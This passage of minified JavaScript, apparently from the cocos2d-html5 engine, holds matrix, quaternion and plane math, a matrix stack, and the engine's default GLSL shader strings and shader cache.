  435. e){k=b.ca.Of(a,h,e);b.ca.Jk(a,h,e,0);for(g=0;4>g;g++)b.ca.Jk(a,h,g,b.ca.Of(a,h,g)-b.ca.Of(a,e,g)*k);for(g=0;4>g;g++)b.ca.Jk(c,h,g,b.ca.Of(a,h,g)-b.ca.Of(c,e,g)*k)}}for(g=3;0<=g;g--)if(p[g]!=m[g])for(h=0;4>h;h++)b.ca.Qk(a,h,p[g],h,m[g]);return b.qn};b.ca.PB=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]);b.B1=function(a,c){var d=new b.ca,e=new b.ca;b.Dj(d,c);b.Qm(e);b.ca.HV(d,e)!=b.pn&&b.Dj(a,d)};b.bea=function(a){for(var c=0;16>c;c++)if(b.ca.PB[c]!=a.c[c])return!1;return!0};
  436. b.jea=function(a,c){var d,e,f=a.c,g=c.c;for(e=0;4>e;++e)for(d=0;4>d;++d)f[4*e+d]=g[4*d+e];return a};
  437. b.Ei=function(a,c,d){a=a.c;var e=c.c[0],f=c.c[1],g=c.c[2],h=c.c[3],k=c.c[4],m=c.c[5],p=c.c[6],r=c.c[7],s=c.c[8],u=c.c[9],t=c.c[10],v=c.c[11],w=c.c[12],y=c.c[13],B=c.c[14];c=c.c[15];var G=d.c[0],I=d.c[1],E=d.c[2],z=d.c[3],D=d.c[4],x=d.c[5],F=d.c[6],K=d.c[7],L=d.c[8],J=d.c[9],P=d.c[10],S=d.c[11],R=d.c[12],V=d.c[13],M=d.c[14];d=d.c[15];a[0]=G*e+I*k+E*s+z*w;a[1]=G*f+I*m+E*u+z*y;a[2]=G*g+I*p+E*t+z*B;a[3]=G*h+I*r+E*v+z*c;a[4]=D*e+x*k+F*s+K*w;a[5]=D*f+x*m+F*u+K*y;a[6]=D*g+x*p+F*t+K*B;a[7]=D*h+x*r+F*v+K*
  438. c;a[8]=L*e+J*k+P*s+S*w;a[9]=L*f+J*m+P*u+S*y;a[10]=L*g+J*p+P*t+S*B;a[11]=L*h+J*r+P*v+S*c;a[12]=R*e+V*k+M*s+d*w;a[13]=R*f+V*m+M*u+d*y;a[14]=R*g+V*p+M*t+d*B;a[15]=R*h+V*r+M*v+d*c};
  439. b.a0=function(){var a=b.el.top.c,c=b.Gj.top.c,d=new Float32Array(16);d[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];d[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];d[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];d[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];d[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];d[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];d[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];d[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];d[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];d[9]=a[1]*c[8]+
  440. a[5]*c[9]+a[9]*c[10]+a[13]*c[11];d[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];d[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];d[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];d[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];d[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];d[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d};
  441. b.jba=function(a,c,d){a=a.c;c=c.c;var e=d.c;e[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];e[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];e[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];e[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];e[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];e[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];e[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];e[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];e[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];e[9]=a[1]*c[8]+a[5]*c[9]+a[9]*c[10]+a[13]*
  442. c[11];e[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];e[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];e[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];e[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];e[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];e[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d.c};
  443. b.Dj=function(a,c){if(a==c)b.log("cc.kmMat4Assign(): pOut equals pIn");else{var d=a.c,e=c.c;d[0]=e[0];d[1]=e[1];d[2]=e[2];d[3]=e[3];d[4]=e[4];d[5]=e[5];d[6]=e[6];d[7]=e[7];d[8]=e[8];d[9]=e[9];d[10]=e[10];d[11]=e[11];d[12]=e[12];d[13]=e[13];d[14]=e[14];d[15]=e[15]}};b.Wda=function(a,c){if(a==c)return b.log("cc.kmMat4AreEqual(): pMat1 and pMat2 are same object."),!0;for(var d=0;16>d;d++)if(!(a.c[d]+b.Aa>c.c[d]&&a.c[d]-b.Aa<c.c[d]))return!1;return!0};
  444. b.gea=function(a,c){a.c[0]=1;a.c[1]=0;a.c[2]=0;a.c[3]=0;a.c[4]=0;a.c[5]=Math.cos(c);a.c[6]=Math.sin(c);a.c[7]=0;a.c[8]=0;a.c[9]=-Math.sin(c);a.c[10]=Math.cos(c);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};b.hea=function(a,c){a.c[0]=Math.cos(c);a.c[1]=0;a.c[2]=-Math.sin(c);a.c[3]=0;a.c[4]=0;a.c[5]=1;a.c[6]=0;a.c[7]=0;a.c[8]=Math.sin(c);a.c[9]=0;a.c[10]=Math.cos(c);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
  445. b.iea=function(a,c){a.c[0]=Math.cos(c);a.c[1]=Math.sin(c);a.c[2]=0;a.c[3]=0;a.c[4]=-Math.sin(c);a.c[5]=Math.cos(c);a.c[6]=0;a.c[7]=0;a.c[8]=0;a.c[9]=0;a.c[10]=1;a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
  446. b.cea=function(a,c,d,e){var f=Math.cos(c);c=Math.sin(c);var g=Math.cos(d);d=Math.sin(d);var h=Math.cos(e);e=Math.sin(e);var k=c*d,m=f*d;a.c[0]=g*h;a.c[4]=g*e;a.c[8]=-d;a.c[1]=k*h-f*e;a.c[5]=k*e+f*h;a.c[9]=c*g;a.c[2]=m*h+c*e;a.c[6]=m*e-c*h;a.c[10]=f*g;a.c[3]=a.c[7]=a.c[11]=0;a.c[15]=1;return a};
  447. b.dea=function(a,c){a.c[0]=1-2*(c.y*c.y+c.z*c.z);a.c[1]=2*(c.x*c.y+c.z*c.H);a.c[2]=2*(c.x*c.z-c.y*c.H);a.c[3]=0;a.c[4]=2*(c.x*c.y-c.z*c.H);a.c[5]=1-2*(c.x*c.x+c.z*c.z);a.c[6]=2*(c.z*c.y+c.x*c.H);a.c[7]=0;a.c[8]=2*(c.x*c.z+c.y*c.H);a.c[9]=2*(c.y*c.z-c.x*c.H);a.c[10]=1-2*(c.x*c.x+c.y*c.y);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
  448. b.fea=function(a,c,d){a.c[0]=c.c[0];a.c[1]=c.c[1];a.c[2]=c.c[2];a.c[3]=0;a.c[4]=c.c[3];a.c[5]=c.c[4];a.c[6]=c.c[5];a.c[7]=0;a.c[8]=c.c[6];a.c[9]=c.c[7];a.c[10]=c.c[8];a.c[11]=0;a.c[12]=d.x;a.c[13]=d.y;a.c[14]=d.z;a.c[15]=1;return a};b.E1=function(a,c,d,e){a.c[0]=c;a.c[5]=d;a.c[10]=e;a.c[15]=1;a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=0};
  449. b.aO=function(a,c,d,e){a.c[0]=a.c[5]=a.c[10]=a.c[15]=1;a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=0;a.c[12]=c;a.c[13]=d;a.c[14]=e};b.aea=function(a,c){a.x=c.c[4];a.y=c.c[5];a.z=c.c[6];b.yf(a,a);return a};b.$da=function(a,c){a.x=c.c[0];a.y=c.c[1];a.z=c.c[2];b.yf(a,a);return a};b.Zda=function(a,c){a.x=c.c[8];a.y=c.c[9];a.z=c.c[10];b.yf(a,a);return a};
  450. b.C1=function(a,c,d){var e=b.et(30),f=d-0.1,g=Math.sin(e);0!=f&&0!=g&&0!=c&&(e=Math.cos(e)/g,b.Qm(a),a.c[0]=e/c,a.c[5]=e,a.c[10]=-(d+0.1)/f,a.c[11]=-1,a.c[14]=-0.2*d/f,a.c[15]=0)};b.yF=function(a,c,d,e,f,g,h){b.Qm(a);a.c[0]=2/(d-c);a.c[5]=2/(f-e);a.c[10]=-2/(h-g);a.c[12]=-((d+c)/(d-c));a.c[13]=-((f+e)/(f-e));a.c[14]=-((h+g)/(h-g))};
  451. b.$N=function(a,c,d,e){var f=new b.xb,g=new b.xb,h=new b.xb,k=new b.xb,m=new b.ca;b.DF(f,d,c);b.yf(f,f);b.ft(g,e);b.yf(g,g);b.bl(h,f,g);b.yf(h,h);b.bl(k,h,f);b.yf(h,h);b.Qm(a);a.c[0]=h.x;a.c[4]=h.y;a.c[8]=h.z;a.c[1]=k.x;a.c[5]=k.y;a.c[9]=k.z;a.c[2]=-f.x;a.c[6]=-f.y;a.c[10]=-f.z;b.aO(m,-c.x,-c.y,-c.z);b.Ei(a,a,m)};
  452. b.D1=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);var f=new b.xb;b.yf(f,c);a.c[0]=e+f.x*f.x*(1-e);a.c[1]=f.z*d+f.y*f.x*(1-e);a.c[2]=-f.y*d+f.z*f.x*(1-e);a.c[3]=0;a.c[4]=-f.z*d+f.x*f.y*(1-e);a.c[5]=e+f.y*f.y*(1-e);a.c[6]=f.x*d+f.z*f.y*(1-e);a.c[7]=0;a.c[8]=f.y*d+f.x*f.z*(1-e);a.c[9]=-f.x*d+f.y*f.z*(1-e);a.c[10]=e+f.z*f.z*(1-e);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1};
  453. b.A1=function(a,c){a.c[0]=c.c[0];a.c[1]=c.c[1];a.c[2]=c.c[2];a.c[3]=c.c[4];a.c[4]=c.c[5];a.c[5]=c.c[6];a.c[6]=c.c[8];a.c[7]=c.c[9];a.c[8]=c.c[10]};
  454. b.Xda=function(a,c,d){switch(d){case b.zR:a.a=c.c[3]-c.c[0];a.b=c.c[7]-c.c[4];a.C=c.c[11]-c.c[8];a.I=c.c[15]-c.c[12];break;case b.xR:a.a=c.c[3]+c.c[0];a.b=c.c[7]+c.c[4];a.C=c.c[11]+c.c[8];a.I=c.c[15]+c.c[12];break;case b.vR:a.a=c.c[3]+c.c[1];a.b=c.c[7]+c.c[5];a.C=c.c[11]+c.c[9];a.I=c.c[15]+c.c[13];break;case b.AR:a.a=c.c[3]-c.c[1];a.b=c.c[7]-c.c[5];a.C=c.c[11]-c.c[9];a.I=c.c[15]-c.c[13];break;case b.wR:a.a=c.c[3]-c.c[2];a.b=c.c[7]-c.c[6];a.C=c.c[11]-c.c[10];a.I=c.c[15]-c.c[14];break;case b.yR:a.a=
  455. c.c[3]+c.c[2];a.b=c.c[7]+c.c[6];a.C=c.c[11]+c.c[10];a.I=c.c[15]+c.c[14];break;default:b.log("cc.kmMat4ExtractPlane(): Invalid plane index")}c=Math.sqrt(a.a*a.a+a.b*a.b+a.C*a.C);a.a/=c;a.b/=c;a.C/=c;a.I/=c;return a};b.eea=function(a,c,d){c=new ba;var e=new b.Qx;b.A1(e,d);b.eO(c,e);b.fO(c,a);return a};b.xR=0;b.zR=1;b.vR=2;b.AR=3;b.yR=4;b.wR=5;b.kea=function(a,c,d,e){this.a=a||0;this.b=c||0;this.C=d||0;this.I=e||0};b.qS=0;b.pS=1;b.rS=2;b.mea=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z+a.I*c.H};b.nea=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z+a.I};b.oea=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z};b.pea=function(a,c,d){a.a=d.x;a.b=d.y;a.C=d.z;a.I=-b.BF(d,c);return a};
  456. b.qea=function(a,c,d,e){var f=new b.xb,g=new b.xb,h=new b.xb;b.DF(g,d,c);b.DF(h,e,c);b.bl(f,g,h);b.yf(f,f);a.a=f.x;a.b=f.y;a.C=f.z;a.I=b.BF(b.CF(f,f,-1),c);return a};b.rea=function(){throw"cc.kmPlaneIntersectLine() hasn't been implemented.";};b.sea=function(a,c){var d=new b.xb;d.x=c.a;d.y=c.b;d.z=c.C;var e=1/b.hO(d);b.yf(d,d);a.a=d.x;a.b=d.y;a.C=d.z;a.I=c.I*e;return a};b.tea=function(){b.log("cc.kmPlaneScale() has not been implemented.")};
  457. b.lea=function(a,c){var d=a.a*c.x+a.b*c.y+a.C*c.z+a.I;return 0.001<d?b.qS:-0.001>d?b.pS:b.rS};function ba(){this.H=this.z=this.y=this.x=0}b.I1=function(a,c){a.x=-c.x;a.y=-c.y;a.z=-c.z;a.H=c.H;return a};b.J1=function(a,c){return a.H*c.H+a.x*c.x+a.y*c.y+a.z*c.z};b.vea=function(a){return a};b.K1=function(a){a.x=0;a.y=0;a.z=0;a.H=1};b.wea=function(a,c){var d=b.bO(c),e=new ba;if(Math.abs(d)>b.Aa)return a.x=0,a.y=0,a.z=0,a.H=0,a;b.Tx(a,b.I1(e,c),1/d);return a};b.xea=function(a){return 0==a.x&&0==a.y&&0==a.z&&1==a.H};b.bO=function(a){return Math.sqrt(b.L1(a))};
  458. b.L1=function(a){return a.x*a.x+a.y*a.y+a.z*a.z+a.H*a.H};b.yea=function(a){return a};b.zea=function(a,c,d){a.H=c.H*d.H-c.x*d.x-c.y*d.y-c.z*d.z;a.x=c.H*d.x+c.x*d.H+c.y*d.z-c.z*d.y;a.y=c.H*d.y+c.y*d.H+c.z*d.x-c.x*d.z;a.z=c.H*d.z+c.z*d.H+c.x*d.y-c.y*d.x;return a};b.cO=function(a,c){var d=b.bO(c);if(Math.abs(d)<=b.Aa)throw"cc.kmQuaternionNormalize(): pIn is an invalid value";b.Tx(a,c,1/d)};b.dO=function(a,c){var d=0.5*b.zF,e=Math.sin(d);a.H=Math.cos(d);a.x=c.x*e;a.y=c.y*e;a.z=c.z*e};
  459. b.eO=function(a,c){var d,e,f,g;d=[];e=g=0;if(c){d[0]=c.c[0];d[1]=c.c[3];d[2]=c.c[6];d[4]=c.c[1];d[5]=c.c[4];d[6]=c.c[7];d[8]=c.c[2];d[9]=c.c[5];d[10]=c.c[8];d[15]=1;var h=d[0];e=h[0]+h[5]+h[10]+1;e>b.Aa?(g=2*Math.sqrt(e),d=(h[9]-h[6])/g,e=(h[2]-h[8])/g,f=(h[4]-h[1])/g,g*=0.25):h[0]>h[5]&&h[0]>h[10]?(g=2*Math.sqrt(1+h[0]-h[5]-h[10]),d=0.25*g,e=(h[4]+h[1])/g,f=(h[2]+h[8])/g,g=(h[9]-h[6])/g):h[5]>h[10]?(g=2*Math.sqrt(1+h[5]-h[0]-h[10]),d=(h[4]+h[1])/g,e=0.25*g,f=(h[9]+h[6])/g,g=(h[2]-h[8])/g):(g=2*Math.sqrt(1+
  460. h[10]-h[0]-h[5]),d=(h[2]+h[8])/g,e=(h[9]+h[6])/g,f=0.25*g,g=(h[4]-h[1])/g);a.x=d;a.y=e;a.z=f;a.H=g}};b.Cea=function(a,c,d,e){var f,g,h,k,m;f=b.et(d)/2;g=b.et(c)/2;h=b.et(e)/2;e=Math.cos(f);c=Math.cos(g);d=Math.cos(h);f=Math.sin(f);g=Math.sin(g);h=Math.sin(h);k=c*d;m=g*h;a.H=e*k+f*m;a.x=f*k-e*m;a.y=e*g*d+f*c*h;a.z=e*c*h-f*g*d;b.cO(a,a);return a};
  461. b.Dea=function(a,c,d,e){if(c.x==d.x&&c.y==d.y&&c.z==d.z&&c.H==d.H)return a.x=c.x,a.y=c.y,a.z=c.z,a.H=c.H,a;var f=b.J1(c,d),g=Math.acos(f),f=Math.sqrt(1-b.Jc(f)),h=Math.sin(e*g)/f,k=new ba,m=new ba;b.Tx(k,c,Math.sin((1-e)*g)/f);b.Tx(m,d,h);b.H1(a,k,m);return a};b.fO=function(a,c){var d;d=Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z));d>-b.Aa&&d<b.Aa||d<2*b.zF+b.Aa&&d>2*b.zF-b.Aa?(c.x=0,c.y=0,c.z=1):(c.x=a.x/d,c.y=a.y/d,c.z=a.z/d,b.yf(c,c))};b.Tx=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;a.H=c.H*d};
  462. b.uea=function(a,c){a.x=c.x;a.y=c.y;a.z=c.z;a.H=c.H;return a};b.H1=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.H=c.H+d.H};
  463. b.Bea=function(a,c,d,e){var f=new b.xb,g=new b.xb;b.ft(f,c);b.ft(g,d);b.yf(f,f);b.yf(g,g);d=b.BF(f,g);if(1<=d)return b.K1(a),a;-0.999999>d?Math.abs(b.iO(e))<b.Aa?b.dO(a,e):(f=new b.xb,g=new b.xb,g.x=1,g.y=0,g.z=0,b.bl(f,g,c),Math.abs(b.iO(f))<b.Aa&&(g=new b.xb,g.x=0,g.y=1,g.z=0,b.bl(f,g,c)),b.yf(f,f),b.dO(a,f)):(c=Math.sqrt(2*(1+d)),e=1/c,d=new b.xb,b.bl(d,f,g),a.x=d.x*e,a.y=d.y*e,a.z=d.z*e,a.H=0.5*c,b.cO(a,a));return a};
  464. b.Aea=function(a,c,d){var e=new b.xb,f=new b.xb,g=new b.xb;g.x=c.x;g.y=c.y;g.z=c.z;b.bl(e,g,d);b.bl(f,g,e);b.CF(e,e,2*c.H);b.CF(f,f,2);b.gO(a,d,e);b.gO(a,a,f);return a};b.uda=function(a,c){this.min=a||new b.xb;this.max=c||new b.xb};b.wda=function(a,c){return a.x>=c.min.x&&a.x<=c.max.x&&a.y>=c.min.y&&a.y<=c.max.y&&a.z>=c.min.z&&a.z<=c.max.z?b.qn:b.pn};b.vda=function(a,c){b.ft(a.min,c.min);b.ft(a.max,c.max);return a};b.xda=function(){b.log("cc.kmAABBScale hasn't been supported.")};b.Wx=function(a,c,d,e){this.top=d;this.stack=e};b.Wx.m6=30;b.EF=function(a){a.stack=[];a.top=null};b.Xx=function(a,c){a.stack.push(a.top);a.top=new b.ca;b.Dj(a.top,c)};b.ifa=function(a){a.top=a.stack.pop()};b.FF=function(a){a.stack=null;a.top=null};b.Qi=5888;b.Ri=5889;b.iH=5890;b.Gj=new b.Wx;b.el=new b.Wx;b.Nt=new b.Wx;b.Vb=null;b.oF=!1;b.R1=function(){if(!b.oF){var a=new b.ca;b.EF(b.Gj);b.EF(b.el);b.EF(b.Nt);b.Vb=b.Gj;b.oF=!0;b.Qm(a);b.Xx(b.Gj,a);b.Xx(b.el,a);b.Xx(b.Nt,a)}};b.R1();b.x1=function(){b.FF(b.Gj);b.FF(b.el);b.FF(b.Nt);b.oF=!1;b.Vb=null};b.Pm=function(){b.Xx(b.Vb,b.Vb.top)};b.Cda=function(a){b.Vb.stack.push(b.Vb.top);b.Dj(a,b.Vb.top);b.Vb.top=a};b.Om=function(){b.Vb.top=b.Vb.stack.pop()};
  465. b.Di=function(a){switch(a){case b.Qi:b.Vb=b.Gj;break;case b.Ri:b.Vb=b.el;break;case b.iH:b.Vb=b.Nt;break;default:throw"Invalid matrix mode specified";}};b.kp=function(){b.Qm(b.Vb.top)};b.Bda=function(a){b.Dj(b.Vb.top,a)};b.lp=function(a){b.Ei(b.Vb.top,b.Vb.top,a)};b.mp=function(a,c){var d=new b.ca;b.aO(d,a,c,0);b.Ei(b.Vb.top,b.Vb.top,d)};b.Dda=function(a,c,d,e){c=new b.xb(c,d,e);d=new b.ca;b.D1(d,c,b.et(a));b.Ei(b.Vb.top,b.Vb.top,d)};
  466. b.Eda=function(a,c,d){var e=new b.ca;b.E1(e,a,c,d);b.Ei(b.Vb.top,b.Vb.top,e)};b.Px=function(a,c){switch(a){case b.Qi:b.Dj(c,b.Gj.top);break;case b.Ri:b.Dj(c,b.el.top);break;case b.iH:b.Dj(c,b.Nt.top);break;default:throw"Invalid matrix mode specified";}};b.MS="precision lowp float;\nvarying vec4 v_fragmentColor;\nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n}\n";b.NS="attribute vec4 a_position;\nuniform vec4 u_color;\nuniform float u_pointSize;\nvarying lowp vec4 v_fragmentColor; \nvoid main(void) \n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n gl_PointSize \x3d u_pointSize; \n v_fragmentColor \x3d u_color; \n}";b.AS="precision lowp float; \nvarying vec4 v_fragmentColor; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n} ";
  467. b.DS="attribute vec4 a_position;\nattribute vec4 a_color;\nvarying lowp vec4 v_fragmentColor;\nvoid main()\n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n}";b.BS="// #extension GL_OES_standard_derivatives : enable\nvarying mediump vec4 v_color;\nvarying mediump vec2 v_texcoord;\nvoid main()\t\n{ \n// #if defined GL_OES_standard_derivatives\t\n// gl_FragColor \x3d v_color*smoothstep(0.0, length(fwidth(v_texcoord)), 1.0 - length(v_texcoord)); \n// #else\t\ngl_FragColor \x3d v_color * step(0.0, 1.0 - length(v_texcoord)); \n// #endif \n}";
  468. b.CS="attribute mediump vec4 a_position; \nattribute mediump vec2 a_texcoord; \nattribute mediump vec4 a_color;\t\nvarying mediump vec4 v_color; \nvarying mediump vec2 v_texcoord;\t\nvoid main() \n{ \n v_color \x3d a_color;//vec4(a_color.rgb * a_color.a, a_color.a); \n v_texcoord \x3d a_texcoord; \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n}";b.IS="precision lowp float; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord); \n}";
  469. b.LS="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";b.JS="precision lowp float; \nuniform vec4 u_color; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord) * u_color; \n}";b.KS="attribute vec4 a_position;\nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";
  470. b.ES="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d vec4( v_fragmentColor.rgb, \n v_fragmentColor.a * texture2D(CC_Texture0, v_texCoord).a \n ); \n}";b.FS="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}";
  471. b.HS="precision lowp float;\nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor * texture2D(CC_Texture0, v_texCoord); \n}";b.RH="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}";
  472. b.GS="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nuniform float CC_alpha_value; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(CC_Texture0, v_texCoord); \n // mimic: glAlphaFunc(GL_GREATER) \n //pass if ( incoming_pixel \x3e\x3d CC_alpha_value ) \x3d\x3e fail if incoming_pixel \x3c CC_alpha_value \n if ( texColor.a \x3c\x3d CC_alpha_value ) \n discard; \n gl_FragColor \x3d texColor * v_fragmentColor; \n}";
  473. b.W6="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D u_texture; \nuniform sampler2D u_mask; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(u_texture, v_texCoord); \n vec4 maskColor \x3d texture2D(u_mask, v_texCoord); \n vec4 finalColor \x3d vec4(texColor.r, texColor.g, texColor.b, maskColor.a * texColor.a); \n gl_FragColor \x3d v_fragmentColor * finalColor; \n}";b.Ld={gA:0,hA:1,eA:2,fA:3,jA:4,iA:5,kA:6,cI:7,t7:8,kd:{},Dr:function(){this.T1();return!0},Ge:function(a,c){switch(c){case this.gA:a.Bi(b.RH,b.HS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.hA:a.Bi(b.RH,b.GS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.eA:a.Bi(b.DS,b.AS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);break;case this.fA:a.Bi(b.LS,b.IS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);break;case this.jA:a.Bi(b.KS,b.JS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);break;case this.iA:a.Bi(b.FS,
  474. b.ES);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.kA:a.Bi(b.NS,b.MS);a.pd("aVertex",b.tb);break;case this.cI:a.Bi(b.CS,b.BS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);a.pd(b.Rp,b.Ae);break;default:b.log("cocos2d: cc.shaderCache._loadDefaultShader, error shader type");return}a.link();a.N4()},T1:function(){var a=new b.Vh;this.Ge(a,this.gA);this.kd[b.Ti]=a;this.kd.ShaderPositionTextureColor=a;a=new b.Vh;this.Ge(a,this.hA);this.kd[b.Hu]=a;this.kd.ShaderPositionTextureColorAlphaTest=a;a=new b.Vh;
  475. this.Ge(a,this.eA);this.kd[b.Gu]=a;this.kd.ShaderPositionColor=a;a=new b.Vh;this.Ge(a,this.fA);this.kd[b.Eq]=a;this.kd.ShaderPositionTexture=a;a=new b.Vh;this.Ge(a,this.jA);this.kd[b.Xz]=a;this.kd.ShaderPositionTextureUColor=a;a=new b.Vh;this.Ge(a,this.iA);this.kd[b.Wz]=a;this.kd.ShaderPositionTextureA8Color=a;a=new b.Vh;this.Ge(a,this.kA);this.kd[b.Yz]=a;this.kd.ShaderPositionUColor=a;a=new b.Vh;this.Ge(a,this.cI);this.kd[b.QH]=a;this.kd.ShaderPositionLengthTextureColor=a},Lga:function(){var a=this.nc(b.Ti);
  476. a.reset();this.Ge(a,this.gA);a=this.nc(b.Hu);a.reset();this.Ge(a,this.hA);a=this.nc(b.Gu);a.reset();this.Ge(a,this.eA);a=this.nc(b.Eq);a.reset();this.Ge(a,this.fA);a=this.nc(b.Xz);a.reset();this.Ge(a,this.jA);a=this.nc(b.Wz);a.reset();this.Ge(a,this.iA);a=this.nc(b.Yz);a.reset();this.Ge(a,this.kA)},nc:function(a){return this.kd[a]},Mm:function(a){return this.kd[a]},J8:function(a,c){this.kd[c]=a}};b.lR=function(){this.location=this.value=void 0;this.Ax={}};
  477. b.Vh=b.ja.extend({ga:null,Gb:null,rf:null,Dg:null,Ab:null,kh:null,dM:!1,Me:function(a,c){if(null==a)return!1;for(var d=!0,e=null,f=0;f<this.kh.length;f++)this.kh[f].location==a&&(e=this.kh[f]);e?e.value==c?d=!1:e.value=c:(e=new b.lR,e.location=a,e.value=c,this.kh.push(e));return d},T7:function(){return"\x3cCCGLProgram \x3d "+this.toString()+" | Program \x3d "+this.Gb.toString()+", VertexShader \x3d "+this.rf.toString()+", FragmentShader \x3d "+this.Dg.toString()+"\x3e"},gJ:function(a,c,d){if(!d||
